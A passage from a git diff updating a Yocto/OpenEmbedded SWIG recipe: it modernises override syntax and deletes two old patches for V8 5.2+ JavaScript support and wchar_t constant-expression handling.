SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BPN}-${PV}.tar.gz"
+UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/swig/files/swig/"
+UPSTREAM_CHECK_REGEX = "swig-(?P<pver>\d+(\.\d+)+)"
inherit autotools python3native pkgconfig
@@ -47,11 +49,11 @@ BBCLASSEXTEND = "native nativesdk"
# necessary together with bison dependency until a new upstream version after
# 3.0.12 includes 0001-Fix-generated-code-for-constant-expressions-containi.patch
-do_configure_append() {
+do_configure:append() {
mkdir -p ${B}/Source/CParse
}
-do_install_append_class-nativesdk() {
+do_install:append:class-nativesdk() {
cd ${D}${bindir}
ln -s swig swig2.0
}
@@ -60,6 +62,6 @@ def swiglib_relpath(d):
swiglib = d.getVar('datadir') + "/" + d.getVar('BPN') + "/" + d.getVar('PV')
return os.path.relpath(swiglib, d.getVar('bindir'))
-do_install_append_class-native() {
+do_install:append:class-native() {
create_wrapper ${D}${bindir}/swig SWIG_LIB='`dirname $''realpath`'/${@swiglib_relpath(d)}
}
diff --git a/meta/recipes-devtools/swig/swig/0001-Add-Node-7.x-aka-V8-5.2-support.patch b/meta/recipes-devtools/swig/swig/0001-Add-Node-7.x-aka-V8-5.2-support.patch
deleted file mode 100644
index 885c395614..0000000000
--- a/meta/recipes-devtools/swig/swig/0001-Add-Node-7.x-aka-V8-5.2-support.patch
+++ /dev/null
@@ -1,330 +0,0 @@
-From 1a5aadcd66e85c63d228bfd811a521d617c22a38 Mon Sep 17 00:00:00 2001
-From: Patrick Schneider <patrick.schneider@meetnow.eu>
-Date: Thu, 13 Apr 2017 15:02:53 +0200
-Subject: [PATCH] Add Node 7.x aka V8 5.2+ support
-
-* Use WeakCallbackInfo instead of WeakCallbackData
-* Use GetPrivate instead of GetHiddenValue
-* Adopted new signature for SetWeak to support destructor calling
-* SetAccessor deprecation fixed
-* Proper version checks where applicable
-
-Upstream-Status: Submitted [https://github.com/swig/swig/pull/968]
-
-Signed-off-by: Paul Eggleton <paul.eggleton@linux.intel.com>
----
- Lib/javascript/v8/javascriptcode.swg | 27 +++++++++++++++++-----
- Lib/javascript/v8/javascripthelpers.swg | 29 +++++++++++++++++++++---
- Lib/javascript/v8/javascriptinit.swg | 16 +++++++++++--
- Lib/javascript/v8/javascriptrun.swg | 40 ++++++++++++++++++++++++++++-----
- 4 files changed, 95 insertions(+), 17 deletions(-)
-
-diff --git a/Lib/javascript/v8/javascriptcode.swg b/Lib/javascript/v8/javascriptcode.swg
-index fb7d55c..b8c5089 100644
---- a/Lib/javascript/v8/javascriptcode.swg
-+++ b/Lib/javascript/v8/javascriptcode.swg
-@@ -133,10 +133,13 @@ static void $jswrapper(v8::Isolate *isolate, v8::Persistent<v8::Value> object, v
- SWIGV8_Proxy *proxy = static_cast<SWIGV8_Proxy *>(parameter);
- #elif (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < SWIGV8_SETWEAK_VERSION)
- static void $jswrapper(v8::Isolate *isolate, v8::Persistent<v8::Object> *object, SWIGV8_Proxy *proxy) {
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- static void $jswrapper(const v8::WeakCallbackData<v8::Object, SWIGV8_Proxy> &data) {
- v8::Local<v8::Object> object = data.GetValue();
- SWIGV8_Proxy *proxy = data.GetParameter();
-+#else
-+ static void $jswrapper(const v8::WeakCallbackInfo<SWIGV8_Proxy> &data) {
-+ SWIGV8_Proxy *proxy = data.GetParameter();
- #endif
-
- if(proxy->swigCMemOwn && proxy->swigCObject) {
-@@ -147,7 +150,9 @@ static void $jswrapper(const v8::WeakCallbackData<v8::Object, SWIGV8_Proxy> &dat
- }
- delete proxy;
-
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- object.Clear();
-+#endif
-
- #if (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < 0x031710)
- object.Dispose();
-@@ -155,7 +160,7 @@ static void $jswrapper(const v8::WeakCallbackData<v8::Object, SWIGV8_Proxy> &dat
- object.Dispose(isolate);
- #elif (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < 0x032100)
- object->Dispose(isolate);
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- object->Dispose();
- #endif
- }
-@@ -177,10 +182,13 @@ static void $jswrapper(v8::Isolate *isolate, v8::Persistent<v8::Value> object, v
- SWIGV8_Proxy *proxy = static_cast<SWIGV8_Proxy *>(parameter);
- #elif (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < SWIGV8_SETWEAK_VERSION)
- static void $jswrapper(v8::Isolate *isolate, v8::Persistent< v8::Object> *object, SWIGV8_Proxy *proxy) {
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- static void $jswrapper(const v8::WeakCallbackData<v8::Object, SWIGV8_Proxy> &data) {
- v8::Local<v8::Object> object = data.GetValue();
- SWIGV8_Proxy *proxy = data.GetParameter();
-+#else
-+static void $jswrapper(const v8::WeakCallbackInfo<SWIGV8_Proxy> &data) {
-+ SWIGV8_Proxy *proxy = data.GetParameter();
- #endif
-
- if(proxy->swigCMemOwn && proxy->swigCObject) {
-@@ -197,7 +205,7 @@ static void $jswrapper(const v8::WeakCallbackData<v8::Object, SWIGV8_Proxy> &dat
- object->Dispose(isolate);
- #elif (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < SWIGV8_SETWEAK_VERSION)
- object->Dispose();
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- object.Clear();
- #endif
- }
-@@ -211,7 +219,11 @@ static void $jswrapper(const v8::WeakCallbackData<v8::Object, SWIGV8_Proxy> &dat
- * ----------------------------------------------------------------------------- */
- %fragment("js_getter", "templates")
- %{
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- static SwigV8ReturnValue $jswrapper(v8::Local<v8::String> property, const SwigV8PropertyCallbackInfo &info) {
-+#else
-+static SwigV8ReturnValue $jswrapper(v8::Local<v8::Name> property, const SwigV8PropertyCallbackInfo &info) {
-+#endif
- SWIGV8_HANDLESCOPE();
-
- v8::Handle<v8::Value> jsresult;
-@@ -233,8 +245,11 @@ fail:
- * ----------------------------------------------------------------------------- */
- %fragment("js_setter", "templates")
- %{
--static void $jswrapper(v8::Local<v8::String> property, v8::Local<v8::Value> value,
-- const SwigV8PropertyCallbackInfoVoid &info) {
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
-+static void $jswrapper(v8::Local<v8::String> property, v8::Local<v8::Value> value, const SwigV8PropertyCallbackInfoVoid &info) {
-+#else
-+static void $jswrapper(v8::Local<v8::Name> property, v8::Local<v8::Value> value, const SwigV8PropertyCallbackInfoVoid &info) {
-+#endif
- SWIGV8_HANDLESCOPE();
-
- $jslocals
-diff --git a/Lib/javascript/v8/javascripthelpers.swg b/Lib/javascript/v8/javascripthelpers.swg
-index 091467d..7461079 100644
---- a/Lib/javascript/v8/javascripthelpers.swg
-+++ b/Lib/javascript/v8/javascripthelpers.swg
-@@ -6,11 +6,16 @@ typedef v8::InvocationCallback SwigV8FunctionCallback;
- typedef v8::AccessorGetter SwigV8AccessorGetterCallback;
- typedef v8::AccessorSetter SwigV8AccessorSetterCallback;
- typedef v8::AccessorInfo SwigV8PropertyCallbackInfoVoid;
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- typedef v8::FunctionCallback SwigV8FunctionCallback;
- typedef v8::AccessorGetterCallback SwigV8AccessorGetterCallback;
- typedef v8::AccessorSetterCallback SwigV8AccessorSetterCallback;
- typedef v8::PropertyCallbackInfo<void> SwigV8PropertyCallbackInfoVoid;
-+#else
-+typedef v8::FunctionCallback SwigV8FunctionCallback;
-+typedef v8::AccessorNameGetterCallback SwigV8AccessorGetterCallback;
-+typedef v8::AccessorNameSetterCallback SwigV8AccessorSetterCallback;
-+typedef v8::PropertyCallbackInfo<void> SwigV8PropertyCallbackInfoVoid;
- #endif
-
- /**
-@@ -65,18 +70,36 @@ SWIGRUNTIME void SWIGV8_AddStaticFunction(v8::Handle<v8::Object> obj, const char
- */
- SWIGRUNTIME void SWIGV8_AddStaticVariable(v8::Handle<v8::Object> obj, const char* symbol,
- SwigV8AccessorGetterCallback getter, SwigV8AccessorSetterCallback setter) {
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- obj->SetAccessor(SWIGV8_SYMBOL_NEW(symbol), getter, setter);
-+#else
-+ obj->SetAccessor(SWIGV8_CURRENT_CONTEXT(), SWIGV8_SYMBOL_NEW(symbol), getter, setter);
-+#endif
- }
-
--SWIGRUNTIME void JS_veto_set_variable(v8::Local<v8::String> property, v8::Local<v8::Value> value,
-- const SwigV8PropertyCallbackInfoVoid& info)
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
-+SWIGRUNTIME void JS_veto_set_variable(v8::Local<v8::String> property, v8::Local<v8::Value> value, const SwigV8PropertyCallbackInfoVoid& info)
-+#else
-+SWIGRUNTIME void JS_veto_set_variable(v8::Local<v8::Name> property, v8::Local<v8::Value> value, const SwigV8PropertyCallbackInfoVoid& info)
-+#endif
- {
- char buffer[256];
- char msg[512];
- int res;
-
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- property->WriteUtf8(buffer, 256);
- res = sprintf(msg, "Tried to write read-only variable: %s.", buffer);
-+#else
-+ v8::Local<v8::String> sproperty;
-+ if (property->ToString(SWIGV8_CURRENT_CONTEXT()).ToLocal(&sproperty)) {
-+ sproperty->WriteUtf8(buffer, 256);
-+ res = sprintf(msg, "Tried to write read-only variable: %s.", buffer);
-+ }
-+ else {
-+ res = -1;
-+ }
-+#endif
-
- if(res<0) {
- SWIG_exception(SWIG_ERROR, "Tried to write read-only variable.");
-diff --git a/Lib/javascript/v8/javascriptinit.swg b/Lib/javascript/v8/javascriptinit.swg
-index 34befa7..86008d9 100644
---- a/Lib/javascript/v8/javascriptinit.swg
-+++ b/Lib/javascript/v8/javascriptinit.swg
-@@ -7,15 +7,27 @@ SWIG_V8_SetModule(void *, swig_module_info *swig_module) {
- v8::Local<v8::Object> global_obj = SWIGV8_CURRENT_CONTEXT()->Global();
- v8::Local<v8::External> mod = SWIGV8_EXTERNAL_NEW(swig_module);
- assert(!mod.IsEmpty());
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- global_obj->SetHiddenValue(SWIGV8_STRING_NEW("swig_module_info_data"), mod);
-+#else
-+ v8::Local<v8::Private> privateKey = v8::Private::ForApi(v8::Isolate::GetCurrent(), SWIGV8_STRING_NEW("swig_module_info_data"));
-+ global_obj->SetPrivate(SWIGV8_CURRENT_CONTEXT(), privateKey, mod);
-+#endif
- }
-
- SWIGRUNTIME swig_module_info *
- SWIG_V8_GetModule(void *) {
- v8::Local<v8::Object> global_obj = SWIGV8_CURRENT_CONTEXT()->Global();
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- v8::Local<v8::Value> moduleinfo = global_obj->GetHiddenValue(SWIGV8_STRING_NEW("swig_module_info_data"));
-+#else
-+ v8::Local<v8::Private> privateKey = v8::Private::ForApi(v8::Isolate::GetCurrent(), SWIGV8_STRING_NEW("swig_module_info_data"));
-+ v8::Local<v8::Value> moduleinfo;
-+ if (!global_obj->GetPrivate(SWIGV8_CURRENT_CONTEXT(), privateKey).ToLocal(&moduleinfo))
-+ return 0;
-+#endif
-
-- if (moduleinfo.IsEmpty())
-+ if (moduleinfo.IsEmpty() || moduleinfo->IsNull() || moduleinfo->IsUndefined())
- {
- // It's not yet loaded
- return 0;
-@@ -23,7 +35,7 @@ SWIG_V8_GetModule(void *) {
-
- v8::Local<v8::External> moduleinfo_extern = v8::Local<v8::External>::Cast(moduleinfo);
-
-- if (moduleinfo_extern.IsEmpty())
-+ if (moduleinfo_extern.IsEmpty() || moduleinfo_extern->IsNull() || moduleinfo_extern->IsUndefined())
- {
- // Something's not right
- return 0;
-diff --git a/Lib/javascript/v8/javascriptrun.swg b/Lib/javascript/v8/javascriptrun.swg
-index 5ac52a5..30002c0 100644
---- a/Lib/javascript/v8/javascriptrun.swg
-+++ b/Lib/javascript/v8/javascriptrun.swg
-@@ -193,8 +193,10 @@ public:
- void (*dtor) (v8::Isolate *isolate, v8::Persistent< v8::Value> object, void *parameter);
- #elif (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < SWIGV8_SETWEAK_VERSION)
- void (*dtor) (v8::Isolate *isolate, v8::Persistent< v8::Object > *object, SWIGV8_Proxy *proxy);
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- void (*dtor) (const v8::WeakCallbackData<v8::Object, SWIGV8_Proxy> &data);
-+#else
-+ void (*dtor) (const v8::WeakCallbackInfo<SWIGV8_Proxy> &data);
- #endif
- };
-
-@@ -241,9 +243,12 @@ SWIGRUNTIME void SWIGV8_Proxy_DefaultDtor(v8::Isolate *, v8::Persistent< v8::Val
- SWIGV8_Proxy *proxy = static_cast<SWIGV8_Proxy *>(parameter);
- #elif (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < SWIGV8_SETWEAK_VERSION)
- SWIGRUNTIME void SWIGV8_Proxy_DefaultDtor(v8::Isolate *, v8::Persistent< v8::Object > *object, SWIGV8_Proxy *proxy) {
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- SWIGRUNTIME void SWIGV8_Proxy_DefaultDtor(const v8::WeakCallbackData<v8::Object, SWIGV8_Proxy> &data) {
- SWIGV8_Proxy *proxy = data.GetParameter();
-+#else
-+SWIGRUNTIME void SWIGV8_Proxy_DefaultDtor(const v8::WeakCallbackInfo<SWIGV8_Proxy> &data) {
-+ SWIGV8_Proxy *proxy = data.GetParameter();
- #endif
-
- delete proxy;
-@@ -312,12 +317,18 @@ SWIGRUNTIME void SWIGV8_SetPrivateData(v8::Handle<v8::Object> obj, void *ptr, sw
- } else {
- cdata->handle.MakeWeak(cdata, SWIGV8_Proxy_DefaultDtor);
- }
--#else
-+#elifif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- if(cdata->swigCMemOwn && (SWIGV8_ClientData*)info->clientdata) {
- cdata->handle.SetWeak(cdata, ((SWIGV8_ClientData*)info->clientdata)->dtor);
- } else {
- cdata->handle.SetWeak(cdata, SWIGV8_Proxy_DefaultDtor);
- }
-+#else
-+ if(cdata->swigCMemOwn && (SWIGV8_ClientData*)info->clientdata) {
-+ cdata->handle.SetWeak(cdata, ((SWIGV8_ClientData*)info->clientdata)->dtor, v8::WeakCallbackType::kParameter);
-+ } else {
-+ cdata->handle.SetWeak(cdata, SWIGV8_Proxy_DefaultDtor, v8::WeakCallbackType::kParameter);
-+ }
- #endif
-
- #if (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < 0x031710)
-@@ -470,7 +481,14 @@ int SwigV8Packed_Check(v8::Handle<v8::Value> valRef) {
-
- v8::Handle<v8::Object> objRef = valRef->ToObject();
- if(objRef->InternalFieldCount() < 1) return false;
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- v8::Handle<v8::Value> flag = objRef->GetHiddenValue(SWIGV8_STRING_NEW("__swig__packed_data__"));
-+#else
-+ v8::Local<v8::Private> privateKey = v8::Private::ForApi(v8::Isolate::GetCurrent(), SWIGV8_STRING_NEW("__swig__packed_data__"));
-+ v8::Local<v8::Value> flag;
-+ if (!objRef->GetPrivate(SWIGV8_CURRENT_CONTEXT(), privateKey).ToLocal(&flag))
-+ return false;
-+#endif
- return (flag->IsBoolean() && flag->BooleanValue());
- }
-
-@@ -519,10 +537,13 @@ SWIGRUNTIME void _wrap_SwigV8PackedData_delete(v8::Isolate *isolate, v8::Persist
- SwigV8PackedData *cdata = static_cast<SwigV8PackedData *>(parameter);
- #elif (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < SWIGV8_SETWEAK_VERSION)
- SWIGRUNTIME void _wrap_SwigV8PackedData_delete(v8::Isolate *isolate, v8::Persistent<v8::Object> *object, SwigV8PackedData *cdata) {
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- SWIGRUNTIME void _wrap_SwigV8PackedData_delete(const v8::WeakCallbackData<v8::Object, SwigV8PackedData> &data) {
- v8::Local<v8::Object> object = data.GetValue();
- SwigV8PackedData *cdata = data.GetParameter();
-+#else
-+SWIGRUNTIME void _wrap_SwigV8PackedData_delete(const v8::WeakCallbackInfo<SwigV8PackedData> &data) {
-+ SwigV8PackedData *cdata = data.GetParameter();
- #endif
-
- delete cdata;
-@@ -537,7 +558,7 @@ SWIGRUNTIME void _wrap_SwigV8PackedData_delete(const v8::WeakCallbackData<v8::Ob
- object->Dispose(isolate);
- #elif (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < SWIGV8_SETWEAK_VERSION)
- object->Dispose();
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- object.Clear();
- #endif
- }
-@@ -550,7 +571,12 @@ v8::Handle<v8::Value> SWIGV8_NewPackedObj(void *data, size_t size, swig_type_inf
- // v8::Handle<v8::Object> obj = SWIGV8_OBJECT_NEW();
- v8::Local<v8::Object> obj = SWIGV8_OBJECT_NEW();
-
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- obj->SetHiddenValue(SWIGV8_STRING_NEW("__swig__packed_data__"), SWIGV8_BOOLEAN_NEW(true));
-+#else
-+ v8::Local<v8::Private> privateKey = v8::Private::ForApi(v8::Isolate::GetCurrent(), SWIGV8_STRING_NEW("__swig__packed_data__"));
-+ obj->SetPrivate(SWIGV8_CURRENT_CONTEXT(), privateKey, SWIGV8_BOOLEAN_NEW(true));
-+#endif
-
- #if (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < 0x031511)
- obj->SetPointerInInternalField(0, cdata);
-@@ -573,9 +599,11 @@ v8::Handle<v8::Value> SWIGV8_NewPackedObj(void *data, size_t size, swig_type_inf
- cdata->handle.MakeWeak(v8::Isolate::GetCurrent(), cdata, _wrap_SwigV8PackedData_delete);
- #elif (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < SWIGV8_SETWEAK_VERSION)
- cdata->handle.MakeWeak(cdata, _wrap_SwigV8PackedData_delete);
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- cdata->handle.SetWeak(cdata, _wrap_SwigV8PackedData_delete);
- // v8::V8::SetWeak(&cdata->handle, cdata, _wrap_SwigV8PackedData_delete);
-+#else
-+ cdata->handle.SetWeak(cdata, _wrap_SwigV8PackedData_delete, v8::WeakCallbackType::kParameter);
- #endif
-
- #if (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < 0x031710)
---
-2.9.5
-
diff --git a/meta/recipes-devtools/swig/swig/0001-Fix-generated-code-for-constant-expressions-containi.patch b/meta/recipes-devtools/swig/swig/0001-Fix-generated-code-for-constant-expressions-containi.patch
deleted file mode 100644
index f4ed782a82..0000000000
--- a/meta/recipes-devtools/swig/swig/0001-Fix-generated-code-for-constant-expressions-containi.patch
+++ /dev/null
@@ -1,179 +0,0 @@
-From 90ba174fcea1618af57aa594199541d47a89b7f6 Mon Sep 17 00:00:00 2001
-From: William S Fulton <wsf@fultondesigns.co.uk>
-Date: Sun, 17 Sep 2017 19:02:55 +0100
-Subject: [PATCH 1/2] Fix generated code for constant expressions containing
- wchar_t L literals.
-
-Such as:
- # define __WCHAR_MAX (0x7fffffff + L'\0')
-
-Reported on swig-user mailing list.
----
- CHANGES.current | 5 +++++
- Examples/test-suite/csharp/preproc_constants_c_runme.cs | 3 ++-
- Examples/test-suite/csharp/preproc_constants_runme.cs | 2 ++
- Examples/test-suite/d/preproc_constants_c_runme.1.d | 2 ++
- Examples/test-suite/d/preproc_constants_c_runme.2.d | 2 ++
- Examples/test-suite/d/preproc_constants_runme.1.d | 2 ++
- Examples/test-suite/d/preproc_constants_runme.2.d | 2 ++
- Examples/test-suite/php/preproc_constants_c_runme.php | 2 ++
- Examples/test-suite/php/preproc_constants_runme.php | 2 ++
- Examples/test-suite/php5/preproc_constants_c_runme.php | 2 ++
- Examples/test-suite/php5/preproc_constants_runme.php | 2 ++
- Examples/test-suite/preproc_constants.i | 3 +++
- Source/CParse/parser.y | 2 +-
- 13 files changed, 29 insertions(+), 2 deletions(-)
-
-Upstream-Status: Backport
-[https://github.com/swig/swig/commit/90ba174fcea1618af57aa594199541d47a89b7f6]
-Signed-off-by: Luca Boccassi <luca.boccassi@microsoft.com>
-
-diff --git a/Examples/test-suite/csharp/preproc_constants_c_runme.cs b/Examples/test-suite/csharp/preproc_constants_c_runme.cs
-index 76c684d..1c28e49 100644
---- a/Examples/test-suite/csharp/preproc_constants_c_runme.cs
-+++ b/Examples/test-suite/csharp/preproc_constants_c_runme.cs
-@@ -61,7 +61,8 @@ public class runme {
- assert( typeof(int) == preproc_constants_c.EXPR_LAND.GetType() );
- assert( typeof(int) == preproc_constants_c.EXPR_LOR.GetType() );
- assert( typeof(double) == preproc_constants_c.EXPR_CONDITIONAL.GetType() );
--
-+ assert( typeof(int) == preproc_constants_c.EXPR_WCHAR_MAX.GetType() );
-+ assert( typeof(int) == preproc_constants_c.EXPR_WCHAR_MIN.GetType() );
- }
- static void assert(bool assertion) {
- if (!assertion)
-diff --git a/Examples/test-suite/csharp/preproc_constants_runme.cs b/Examples/test-suite/csharp/preproc_constants_runme.cs
-index 9fae591..6b02e30 100644
---- a/Examples/test-suite/csharp/preproc_constants_runme.cs
-+++ b/Examples/test-suite/csharp/preproc_constants_runme.cs
-@@ -60,6 +60,8 @@ public class runme {
- assert( typeof(bool) == preproc_constants.EXPR_LAND.GetType() );
- assert( typeof(bool) == preproc_constants.EXPR_LOR.GetType() );
- assert( typeof(double) == preproc_constants.EXPR_CONDITIONAL.GetType() );
-+ assert( typeof(int) == preproc_constants.EXPR_WCHAR_MAX.GetType() );
-+ assert( typeof(int) == preproc_constants.EXPR_WCHAR_MIN.GetType() );
-
- }
- static void assert(bool assertion) {
-diff --git a/Examples/test-suite/d/preproc_constants_c_runme.1.d b/Examples/test-suite/d/preproc_constants_c_runme.1.d
-index d846c71..2b349af 100644
---- a/Examples/test-suite/d/preproc_constants_c_runme.1.d
-+++ b/Examples/test-suite/d/preproc_constants_c_runme.1.d
-@@ -61,4 +61,6 @@ void main() {
- static assert(is(int == typeof(EXPR_LAND())));
- static assert(is(int == typeof(EXPR_LOR())));
- static assert(is(double == typeof(EXPR_CONDITIONAL())));
-+ static assert(is(int == typeof(EXPR_WCHAR_MAX())));
-+ static assert(is(int == typeof(EXPR_WCHAR_MIN())));
- }
-diff --git a/Examples/test-suite/d/preproc_constants_c_runme.2.d b/Examples/test-suite/d/preproc_constants_c_runme.2.d
-index 9bdbb93..1bac525 100644
---- a/Examples/test-suite/d/preproc_constants_c_runme.2.d
-+++ b/Examples/test-suite/d/preproc_constants_c_runme.2.d
-@@ -61,4 +61,6 @@ void main() {
- static assert(is(int == typeof(EXPR_LAND())));
- static assert(is(int == typeof(EXPR_LOR())));
- static assert(is(double == typeof(EXPR_CONDITIONAL())));
-+ static assert(is(int == typeof(EXPR_WCHAR_MAX())));
-+ static assert(is(int == typeof(EXPR_WCHAR_MIN())));
- }
-diff --git a/Examples/test-suite/d/preproc_constants_runme.1.d b/Examples/test-suite/d/preproc_constants_runme.1.d
-index 009405f..f743f48 100644
---- a/Examples/test-suite/d/preproc_constants_runme.1.d
-+++ b/Examples/test-suite/d/preproc_constants_runme.1.d
-@@ -60,4 +60,6 @@ void main() {
- static assert(is(bool == typeof(EXPR_LAND())));
- static assert(is(bool == typeof(EXPR_LOR())));
- static assert(is(double == typeof(EXPR_CONDITIONAL())));
-+ static assert(is(int == typeof(EXPR_WCHAR_MAX())));
-+ static assert(is(int == typeof(EXPR_WCHAR_MIN())));
- }
-diff --git a/Examples/test-suite/d/preproc_constants_runme.2.d b/Examples/test-suite/d/preproc_constants_runme.2.d
-index 2d92ef0..0d96c37 100644
---- a/Examples/test-suite/d/preproc_constants_runme.2.d
-+++ b/Examples/test-suite/d/preproc_constants_runme.2.d
-@@ -60,4 +60,6 @@ void main() {
- static assert(is(bool == typeof(EXPR_LAND())));
- static assert(is(bool == typeof(EXPR_LOR())));
- static assert(is(double == typeof(EXPR_CONDITIONAL())));
-+ static assert(is(int == typeof(EXPR_WCHAR_MAX())));
-+ static assert(is(int == typeof(EXPR_WCHAR_MIN())));
- }
-diff --git a/Examples/test-suite/php/preproc_constants_c_runme.php b/Examples/test-suite/php/preproc_constants_c_runme.php
-index af9b76e..e59fe18 100644
---- a/Examples/test-suite/php/preproc_constants_c_runme.php
-+++ b/Examples/test-suite/php/preproc_constants_c_runme.php
-@@ -62,5 +62,7 @@ check::equal(gettype(preproc_constants_c::EXPR_OR), "integer", "preproc_constant
- check::equal(gettype(preproc_constants_c::EXPR_LAND), "integer", "preproc_constants.EXPR_LAND has unexpected type");
- check::equal(gettype(preproc_constants_c::EXPR_LOR), "integer", "preproc_constants.EXPR_LOR has unexpected type");
- check::equal(gettype(preproc_constants_c::EXPR_CONDITIONAL), "double", "preproc_constants.EXPR_CONDITIONAL has unexpected type");
-+check::equal(gettype(preproc_constants_c::EXPR_WCHAR_MAX), "integer", "preproc_constants.EXPR_WCHAR_MAX has unexpected type");
-+check::equal(gettype(preproc_constants_c::EXPR_WCHAR_MIN), "integer", "preproc_constants.EXPR_WCHAR_MIN has unexpected type");
-
- ?>
-diff --git a/Examples/test-suite/php/preproc_constants_runme.php b/Examples/test-suite/php/preproc_constants_runme.php
-index 5c9119b..8e117ea 100644
---- a/Examples/test-suite/php/preproc_constants_runme.php
-+++ b/Examples/test-suite/php/preproc_constants_runme.php
-@@ -61,5 +61,7 @@ check::equal(gettype(preproc_constants::EXPR_OR), "integer", "preproc_constants.
- check::equal(gettype(preproc_constants::EXPR_LAND), "boolean", "preproc_constants.EXPR_LAND has unexpected type");
- check::equal(gettype(preproc_constants::EXPR_LOR), "boolean", "preproc_constants.EXPR_LOR has unexpected type");
- check::equal(gettype(preproc_constants::EXPR_CONDITIONAL), "double", "preproc_constants.EXPR_CONDITIONAL has unexpected type");
-+check::equal(gettype(preproc_constants::EXPR_WCHAR_MAX), "integer", "preproc_constants.EXPR_WCHAR_MAX has unexpected type");
-+check::equal(gettype(preproc_constants::EXPR_WCHAR_MIN), "integer", "preproc_constants.EXPR_WCHAR_MIN has unexpected type");
-
- ?>
-diff --git a/Examples/test-suite/php5/preproc_constants_c_runme.php b/Examples/test-suite/php5/preproc_constants_c_runme.php
-index 1ea0195..d978fab 100644
---- a/Examples/test-suite/php5/preproc_constants_c_runme.php
-+++ b/Examples/test-suite/php5/preproc_constants_c_runme.php
-@@ -62,5 +62,7 @@ check::equal(gettype(preproc_constants_c::EXPR_OR), "integer", "preproc_constant
- check::equal(gettype(preproc_constants_c::EXPR_LAND), "integer", "preproc_constants.EXPR_LAND has unexpected type");
- check::equal(gettype(preproc_constants_c::EXPR_LOR), "integer", "preproc_constants.EXPR_LOR has unexpected type");
- check::equal(gettype(preproc_constants_c::EXPR_CONDITIONAL), "double", "preproc_constants.EXPR_CONDITIONAL has unexpected type");
-+check::equal(gettype(preproc_constants_c::EXPR_WCHAR_MAX), "integer", "preproc_constants.EXPR_WCHAR_MAX has unexpected type");
-+check::equal(gettype(preproc_constants_c::EXPR_WCHAR_MIN), "integer", "preproc_constants.EXPR_WCHAR_MIN has unexpected type");
-
- ?>
-diff --git a/Examples/test-suite/php5/preproc_constants_runme.php b/Examples/test-suite/php5/preproc_constants_runme.php
-index fb9ee4f..7527026 100644
---- a/Examples/test-suite/php5/preproc_constants_runme.php
-+++ b/Examples/test-suite/php5/preproc_constants_runme.php
-@@ -70,5 +70,7 @@ check::equal(gettype(preproc_constants::EXPR_LAND), "integer", "preproc_constant
- check::equal(gettype(preproc_constants::EXPR_LOR), "integer", "preproc_constants.EXPR_LOR has unexpected type");
-
- check::equal(gettype(preproc_constants::EXPR_CONDITIONAL), "double", "preproc_constants.EXPR_CONDITIONAL has unexpected type");
-+check::equal(gettype(preproc_constants::EXPR_WCHAR_MAX), "integer", "preproc_constants.EXPR_WCHAR_MAX has unexpected type");
-+check::equal(gettype(preproc_constants::EXPR_WCHAR_MIN), "integer", "preproc_constants.EXPR_WCHAR_MIN has unexpected type");
-
- ?>
-diff --git a/Examples/test-suite/preproc_constants.i b/Examples/test-suite/preproc_constants.i
-index 3a999ad..16b44c9 100644
